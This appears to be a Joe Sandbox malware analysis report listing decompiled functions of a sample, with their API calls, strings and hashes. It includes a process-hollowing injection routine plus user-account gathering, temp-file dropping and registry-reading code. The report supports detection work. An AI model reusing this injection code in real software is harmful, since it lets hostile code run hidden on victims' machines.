Instruction Fuzzy Hash: 25214F7190022AABCB11AB55DD48AEFBBB8EF08750F104432F905B7290D7F49E8587D8

Uniqueness

Uniqueness Score: -1.00%

Function 00406CC9, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00406CC9(void* __ecx) {
				_Unknown_base(*)()* _t8;
				CHAR* _t17;
				void* _t18;
				void* _t23;
				char _t25;
				void* _t34;

				_t23 = __ecx;
				if( *0x412e08 != 0) {
					L14:
					return 0x412e08;
				}
				_t8 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemWow64DirectoryA");
				if(_t8 == 0) {
					L4:
					if(GetSystemDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
						if(GetWindowsDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
							E0040EF00(0x412e08, E00402544(0x4122f8, 0x410664, 0xb, 0xe4, 0xc8));
							E0040EE2A(_t23, 0x4122f8, 0, 0x100);
							_t34 = _t34 + 0x28;
						}
						E0040EF1E(0x412e08, E00402544(0x4122f8, 0x410658, 0xb, 0xe4, 0xc8));
						E0040EE2A(_t23, 0x4122f8, 0, 0x100);
					}
					L10:
					_t17 = 0x412e08;
					goto L11;
					L11:
					_t25 =  *_t17;
					_t17 =  &(_t17[1]);
					if(_t25 != 0) {
						goto L11;
					} else {
						_t18 = _t17 - 0x412e09;
						if( *((char*)(_t18 + 0x412e07)) != 0x5c) {
							 *((char*)(_t18 + 0x412e08)) = 0x5c;
							 *((char*)(_t18 + 0x412e09)) = _t25;
						}
						goto L14;
					}
				}
				_push(0x104);
				_push(0x412e08);
				if( *_t8() == 0 ||  *0x412e08 == 0) {
					goto L4;
				} else {
					goto L10;
				}
			}

0x00406cc9
0x00406cd6
0x00406dbe
0x00406dc1
0x00406dc1
0x00406cee
0x00406cfb
0x00406d12
0x00406d1c
0x00406d40
0x00406d60
0x00406d69
0x00406d6e
0x00406d6e
0x00406d86
0x00406d8f
0x00406d98
0x00406d99
0x00406d99
0x00406d9e
0x00406d9f
0x00406d9f
0x00406da1
0x00406da4
0x00000000
0x00406da6
0x00406da6
0x00406daf
0x00406db1
0x00406db8
0x00406db8
0x00000000
0x00406daf
0x00406da4
0x00406cfd
0x00406cfe
0x00406d03
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32 ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85
PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E
kernel32, xrefs: 00406CE2
GetSystemWow64DirectoryA, xrefs: 00406CDD

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32
API String ID: 1082366364-2834986871
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040977C, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
threadinjectionprocessCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040977C(void* __ecx, CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				void _v24;
				char _v28;
				struct _STARTUPINFOA _v96;
				struct _CONTEXT _v812;
				void* _t33;

				_t46 = __ecx;
				E0040EE2A(__ecx,  &_v96, 0, 0x44);
				_v96.cb = 0x44;
				if(CreateProcessA(0, _a4, 0, 0, 0, 4, 0, 0,  &_v96,  &_v20) != 0) {
					E0040EE2A(_t46,  &_v812, 0, 0x2cc);
					_v812.ContextFlags = 0x10002;
					if(GetThreadContext(_v20.hThread,  &_v812) != 0) {
						_t33 = E0040637C(_entry_, _v20.hProcess,  &_v28,  &_v24);
						_push(0);
						if(_t33 == 0) {
							L4:
							TerminateProcess(_v20.hProcess, ??);
							goto L1;
						}
						if(WriteProcessMemory(_v20, _v812.Ebx + 8,  &_v24, 4, ??) == 0) {
							goto L3;
						}
						_v812.Eax = _v28;
						if(SetThreadContext(_v20.hThread,  &_v812) == 0) {
							goto L3;
						}
						ResumeThread(_v20.hThread);
						return 1;
					}
					L3:
					_push(0);
					goto L4;
				}
				L1:
				return 0;
			}

0x0040977c
0x0040978f
0x004097a9
0x004097b9
0x004097cf
0x004097e1
0x004097f3
0x00409811
0x00409819
0x0040981c
0x004097f6
0x004097f9
0x00000000
0x004097f9
0x00409839
0x00000000
0x00000000
0x0040983e
0x00409856
0x00000000
0x00000000
0x0040985b
0x00000000
0x00409863
0x004097f5
0x004097f5
0x00000000
0x004097f5
0x004097bb
0x00000000

APIs

CreateProcessA.KERNEL32 ref: 004097B1
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097F9
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 00409831
SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040984E
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040985B

Strings

PromptOnSecureDesktop, xrefs: 00409785
D, xrefs: 004097A9

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D$PromptOnSecureDesktop
API String ID: 2981417381-1403908072
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 006C6761, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000008), ref: 006C67AC
htonl.WS2_32(?), ref: 006C67C8
htonl.WS2_32(?), ref: 006C67D7
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 006C68DA
ExitProcess.KERNEL32 ref: 006C69A5

Strings

localcfg, xrefs: 006C697D
except_info, xrefs: 006C6978

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Processhtonl$CurrentExitHugeRead
String ID: except_info$localcfg
API String ID: 1150517154-3605449297
Opcode ID: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction ID: 796cbeea4e7052938032ece539e6f90d89b4c5bd1d6a3864793dd4eb41e956f2
Opcode Fuzzy Hash: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction Fuzzy Hash: CF614072940208AFDB609FA4DC45FE977F9FF08300F24806AFA6DD2161DA759994CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406F5F, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00406F5F(long _a4, long _a8) {
				void* _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				void _v84;
				char _v212;
				CHAR* _t36;
				void* _t53;
				intOrPtr* _t54;
				char _t62;
				void* _t65;
				char* _t66;
				intOrPtr _t67;
				CHAR* _t68;
				void* _t69;

				_t68 = _a4;
				 *_t68 = 0;
				if(GetUserNameA(_t68,  &_a8) == 0) {
					return 0;
				}
				_t36 = _t68;
				_t66 =  &(_t36[1]);
				do {
					_t62 =  *_t36;
					_t36 =  &(_t36[1]);
				} while (_t62 != 0);
				_a8 = _t36 - _t66;
				_a4 = 0x7c;
				_v12 = 0x80;
				if(LookupAccountNameA(0, _t68,  &_v84,  &_a4,  &_v212,  &_v12,  &_v16) == 0) {
					L8:
					_a8 = _a8 + wsprintfA( &(_t68[_a8]), "/%d", E00406EDD());
					return _a8;
				}
				E0040EF00( &(_t68[_a8]), "/");
				_a8 = _a8 + 1;
				_push( &_v8);
				_t53 =  &_v84;
				_push(_t53);
				L0040F4AA();
				if(_t53 == 0) {
					goto L8;
				}
				_t54 = _v8;
				_t20 = _t54 + 1; // 0x121
				_t65 = _t20;
				do {
					_t67 =  *_t54;
					_t54 = _t54 + 1;
				} while (_t67 != 0);
				_a4 = _t54 - _t65;
				E0040EE08( &(_t68[_a8]), _v8, _t54 - _t65 + 1);
				_a8 = _a8 + _a4;
				_t69 = _t69 + 0xc;
				LocalFree(_v8);
				goto L8;
			}

0x00406f6c
0x00406f77
0x00406f82
0x00000000
0x00407047
0x00406f88
0x00406f8a
0x00406f8d
0x00406f8d
0x00406f8f
0x00406f90
0x00406f96
0x00406fb3
0x00406fba
0x00406fc9
0x00407025
0x0040703f
0x00000000
0x00407042
0x00406fd6
0x00406fdb
0x00406fe3
0x00406fe4
0x00406fe7
0x00406fe8
0x00406fef
0x00000000
0x00000000
0x00406ff1
0x00406ff4
0x00406ff4
0x00406ff7
0x00406ff7
0x00406ff9
0x00406ffa
0x00407000
0x0040700e
0x00407016
0x00407019
0x0040701f
0x00000000

APIs

GetUserNameA.ADVAPI32(?,0040D7C3), ref: 00406F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,0040D7C3), ref: 00406FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 00406FE8
LocalFree.KERNEL32(00000120), ref: 0040701F
wsprintfA.USER32 ref: 00407036

Strings

|, xrefs: 00406FB3
/%d, xrefs: 00407030

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction ID: 25602f0bb6ce76eb5d01febd46d0227a680cec7408ef54ec30c82d1084126da1
Opcode Fuzzy Hash: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction Fuzzy Hash: B5313C72900209BFDB01DFA5DC45BDB7BBCEF04314F048166F949EB241DA79EA588B98

Uniqueness

Uniqueness Score: -1.00%

Function 006C2F71, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85memorylibrarystringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 006C2F8A
LoadLibraryA.KERNEL32(?), ref: 006C2F9A
GetProcAddress.KERNEL32(00000000,004103F0), ref: 006C2FB1
GetProcessHeap.KERNEL32(00000000,00000108), ref: 006C2FE9
RtlAllocateHeap.NTDLL(00000000), ref: 006C2FF0
lstrcpyn.KERNEL32(00000008,?,000000FF), ref: 006C301B

Strings

dnsapi.dll, xrefs: 006C2F79

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: dnsapi.dll
API String ID: 1242400761-3175542204
Opcode ID: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction ID: 0a88e6aa3eac683c2ef3a7e0ce1950b8b8fdf15d64584e3aa72ccb54c26710ff
Opcode Fuzzy Hash: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction Fuzzy Hash: D221747294162ABBCB219B54DC45EFEBBBEEF18B50F108069F905E7210D7B09A8187D4

Uniqueness

Uniqueness Score: -1.00%

Function 00406BA7, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00406BA7(CHAR* _a4) {
				long _v8;
				long _v12;
				long _t14;
				int _t19;
				void* _t28;
				void* _t39;

				_push(_t30);
				if(IsBadCodePtr( *0x4130ac) == 0) {
					_push( &_v8);
					_push(0);
					if( *0x4130ac() == 0) {
						_t28 = E0040EBCC(_v8);
						if(_t28 == 0) {
							L7:
							_t14 = 0;
						} else {
							_push( &_v8);
							_push(_t28);
							if( *0x4130ac() == 0) {
								_v12 = 0;
								_t39 = CreateFileA(_a4, 0x40000000, 0, 0, 2, 0x80, 0);
								if(_t39 != 0xffffffff) {
									_t19 = WriteFile(_t39, _t28, _v8,  &_v12, 0);
									_push(_t39);
									if(_t19 != 0) {
										CloseHandle();
										E0040EC2E(_t28);
										_t14 = _v8;
									} else {
										CloseHandle();
										DeleteFileA(_a4);
										goto L9;
									}
								} else {
									L9:
									E0040EC2E(_t28);
									_t14 = 0;
								}
							} else {
								E0040EC2E(_t28);
								goto L7;
							}
						}
					} else {
						_t14 = 0;
					}
					return _t14;
				} else {
					return 0;
				}
			}

0x00406bab
0x00406bba
0x00406bc4
0x00406bc7
0x00406bd2
0x00406be4
0x00406be9
0x00406c03
0x00406c03
0x00406beb
0x00406bee
0x00406bef
0x00406bfa
0x00406c1a
0x00406c23
0x00406c28
0x00406c3e
0x00406c44
0x00406c47
0x00406c5a
0x00406c61
0x00406c66
0x00406c49
0x00406c49
0x00406c52
0x00000000
0x00406c52
0x00406c2a
0x00406c2a
0x00406c2b
0x00406c30
0x00406c30
0x00406bfc
0x00406bfd
0x00000000
0x00406c02
0x00406bfa
0x00406bd4
0x00406bd4
0x00406bd4
0x00406c6e
0x00406bbc
0x00406bbf
0x00406bbf

APIs

IsBadCodePtr.KERNEL32 ref: 00406BB2

Strings

PromptOnSecureDesktop, xrefs: 00406BC0

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Code
String ID: PromptOnSecureDesktop
API String ID: 3609698214-2980165447
Opcode ID: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction ID: deae59b9a6c18e17a8054c2740d34a6eafe128a66e3352cd220e92de8f8b68f4
Opcode Fuzzy Hash: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction Fuzzy Hash: D7218B72208115FFEB10ABB1ED49EDF3EACDB08364B218436F543F1091EA799A50966C

Uniqueness

Uniqueness Score: -1.00%

Function 006C6F19, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\jjmeabw,006C702C), ref: 006C6F37
GetProcAddress.KERNEL32(00000000), ref: 006C6F3E
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 006C6F64
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 006C6F7B

Strings

PromptOnSecureDesktop, xrefs: 006C6F86, 006C6FA8, 006C6FB8, 006C6FCE, 006C6FDE
\\.\pipe\jjmeabw, xrefs: 006C6F20
C:\Windows\SysWOW64\, xrefs: 006C6F19, 006C6F21, 006C6F4E, 006C6F55, 006C6F63, 006C6F6E, 006C6F7A, 006C6F92, 006C6FAF, 006C6FD5

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$PromptOnSecureDesktop$\\.\pipe\jjmeabw
API String ID: 1082366364-2819782366
Opcode ID: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction ID: a87ba8e325457827fbed1a76fbb2eca4d790f8c1f703dfaf4f05d97f66b48ba9
Opcode Fuzzy Hash: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction Fuzzy Hash: 6B2138617453407AF7326721AC89FFB2E4FCB52710F0840ADF804E6291CAD9C8E582BD

Uniqueness

Uniqueness Score: -1.00%

Function 00409064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83
filestringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00409064(void* __eflags, void* _a4, CHAR* _a8) {
				long _v8;
				char _v1032;
				signed int _t29;
				signed int _t62;
				void* _t64;

				GetTempPathA(0x400,  &_v1032);
				E00408274( &_v1032);
				_t29 = E0040ECA5();
				_t62 = 9;
				_push(_t29 % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push( &_v1032);
				wsprintfA(_a8, E00402544(0x4122f8, 0x410794, 0xf, 0xe4, 0xc8));
				E0040EE2A(_t62, 0x4122f8, 0, 0x100);
				_t64 = CreateFileA(_a8, 0x40000000, 0, 0, 2, 0, 0);
				if(_t64 <= 0) {
					return 0;
				}
				WriteFile(_t64, _a4, lstrlenA(_a4),  &_v8, 0);
				CloseHandle(_t64);
				return 1;
			}

0x0040907b
0x00409088
0x0040908e
0x00409095
0x0040909c
0x004090a8
0x004090b4
0x004090c9
0x004090ca
0x004090e9
0x004090f8
0x00409114
0x00409118
0x00000000
0x0040913f
0x0040912d
0x00409134
0x00000000

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Uniqueness

Uniqueness Score: -1.00%

Function 006C92B4, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?), ref: 006C92CB
wsprintfA.USER32 ref: 006C9339
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 006C935E
lstrlen.KERNEL32(?,?,00000000), ref: 006C9372
WriteFile.KERNEL32(00000000,?,00000000), ref: 006C937D
CloseHandle.KERNEL32(00000000), ref: 006C9384

Strings

PromptOnSecureDesktop, xrefs: 006C9314, 006C932C, 006C9347

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction ID: eb099e542b1de14c8b7c4f2030b5106df07c0007350b240587820ecc059a3ae4
Opcode Fuzzy Hash: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction Fuzzy Hash: A01175B26401147BE7646765EC0AFFF3A7EDBC9B00F00806DBB09E5091EEB54E558668

Uniqueness

Uniqueness Score: -1.00%

Function 006C99CC, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 006C9A01
GetThreadContext.KERNEL32(?,?), ref: 006C9A3B
TerminateProcess.KERNEL32(?,00000000), ref: 006C9A49
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 006C9A81
SetThreadContext.KERNEL32(?,00010002), ref: 006C9A9E
ResumeThread.KERNEL32(?), ref: 006C9AAB

Strings

D, xrefs: 006C99F9

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2981417381-2746444292
Opcode ID: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction ID: f1f36ec0433e022d1d6e2ed40bd93eeb547aa871cf4a2927f7a8792a1aa690f8
Opcode Fuzzy Hash: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction Fuzzy Hash: 76216BB1901119BBDB11DBE1DC09FEF7BBDEF09750F004065BA09E1150EB71CA44CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 006C1BEC, Relevance: 12.1, APIs: 8, Instructions: 106memorylibraryCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(004102D8), ref: 006C1C01
LoadLibraryA.KERNEL32(004102C8), ref: 006C1C0F
GetProcessHeap.KERNEL32 ref: 006C1C6D
RtlAllocateHeap.NTDLL(00000000,00000000,00000288), ref: 006C1C86
RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 006C1CAA
HeapFree.KERNEL32(?,00000000,00000000), ref: 006C1CEB
FreeLibrary.KERNEL32(?), ref: 006C1CF4

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFreeLibrary$LoadProcessinet_addr
String ID:
API String ID: 2324436984-0
Opcode ID: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction ID: 4691af55ea35d512a9d2eb67d8576d73ba895332c4d0e9da6344850621e8cfb7
Opcode Fuzzy Hash: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction Fuzzy Hash: 71316D31900219AFCB119FE4DC88DFEBBBAEF47301B24407AF502A6211D7B45E81DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040E3CA, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E3CA(void* __edx, void* _a4, char* _a8, intOrPtr* _a12) {
				int* _v8;
				int _v12;
				void* _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				int _v32;
				int* _v36;
				char _v68;
				intOrPtr* _t52;
				int _t69;
				int _t78;
				intOrPtr _t80;
				void* _t82;
				void* _t84;
				void* _t85;
				int _t89;
				void* _t91;
				void* _t92;
				void* _t93;

				_t82 = __edx;
				_v36 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v16) != 0) {
					L16:
					return _v36;
				}
				_t52 = _a12;
				_t89 = 0;
				_t6 = _t52 + 1; // 0x4128f9
				_t84 = _t6;
				do {
					_t80 =  *_t52;
					_t52 = _t52 + 1;
				} while (_t80 != 0);
				_t85 = _t52 - _t84;
				_v8 = 0;
				if(_t85 > 0x1c) {
					_t85 = 0x1c;
				}
				E0040EE08( &_v68, _a12, _t85);
				_t56 = _t91 + _t85 - 0x40;
				_v12 = 0;
				_v20 = _t91 + _t85 - 0x40;
				E0040F1ED(0, _t56, 0xa);
				_t93 = _t92 + 0x18;
				if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) != 0) {
					L15:
					RegCloseKey(_v16);
					goto L16;
				} else {
					do {
						_t89 = _t89 + _v12;
						_v8 = _v8 + 1;
						_v12 = 0;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
					} while (RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) == 0);
					if(_t89 <= 0) {
						goto L15;
					}
					_v32 = _t89;
					E0040DB2E(_t89);
					_t69 =  *0x4136c4;
					if(_t69 == 0) {
						goto L15;
					}
					_v12 = _t69;
					_v8 = 0;
					while(1) {
						_v28 = _t89;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
						if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, _v12,  &_v28) != 0) {
							break;
						}
						_t78 = _v28;
						if(_t78 == 0) {
							break;
						}
						_v12 =  &(_v12[_t78]);
						_t89 = _t89 - _t78;
						_v8 = _v8 + 1;
						if(_t89 > 0) {
							continue;
						}
						break;
					}
					_t106 = _t89;
					if(_t89 == 0) {
						E00402544( *0x4136c4,  *0x4136c4, _v32, 0xe4, 0xc8);
						E0040E332(_t82, _t106,  *0x4136c4, _v32);
						_v36 = 1;
					}
					goto L15;
				}
			}

0x0040e3ca
0x0040e3e0
0x0040e3ee
0x0040e528
0x0040e52d
0x0040e52d
0x0040e3f4
0x0040e3f9
0x0040e3fb
0x0040e3fb
0x0040e3fe
0x0040e3fe
0x0040e400
0x0040e401
0x0040e407
0x0040e409
0x0040e40f
0x0040e413
0x0040e413
0x0040e41c
0x0040e421
0x0040e429
0x0040e42c
0x0040e42f
0x0040e43a
0x0040e452
0x0040e51d
0x0040e520
0x00000000
0x0040e458
0x0040e458
0x0040e458
0x0040e45b
0x0040e463
0x0040e469
0x0040e46e
0x0040e484
0x0040e48a
0x00000000
0x00000000
0x0040e491
0x0040e494
0x0040e499
0x0040e4a1
0x00000000
0x00000000
0x0040e4a3
0x0040e4a6
0x0040e4a9
0x0040e4ae
0x0040e4b4
0x0040e4b9
0x0040e4d3
0x00000000
0x00000000
0x0040e4d5
0x0040e4da
0x00000000
0x00000000
0x0040e4dc
0x0040e4df
0x0040e4e1
0x0040e4e6
0x00000000
0x00000000
0x00000000
0x0040e4e6
0x0040e4e8
0x0040e4ea
0x0040e500
0x0040e50e
0x0040e516
0x0040e516
0x00000000
0x0040e4ea

APIs

RegOpenKeyExA.ADVAPI32(80000001,0040E5F2,00000000,00020119,0040E5F2,PromptOnSecureDesktop), ref: 0040E3E6
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 0040E44E
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 0040E482
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,80000001,?), ref: 0040E4CF
RegCloseKey.ADVAPI32(0040E5F2,?,?,?,?,000000C8,000000E4), ref: 0040E520

Strings

PromptOnSecureDesktop, xrefs: 0040E3D0

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

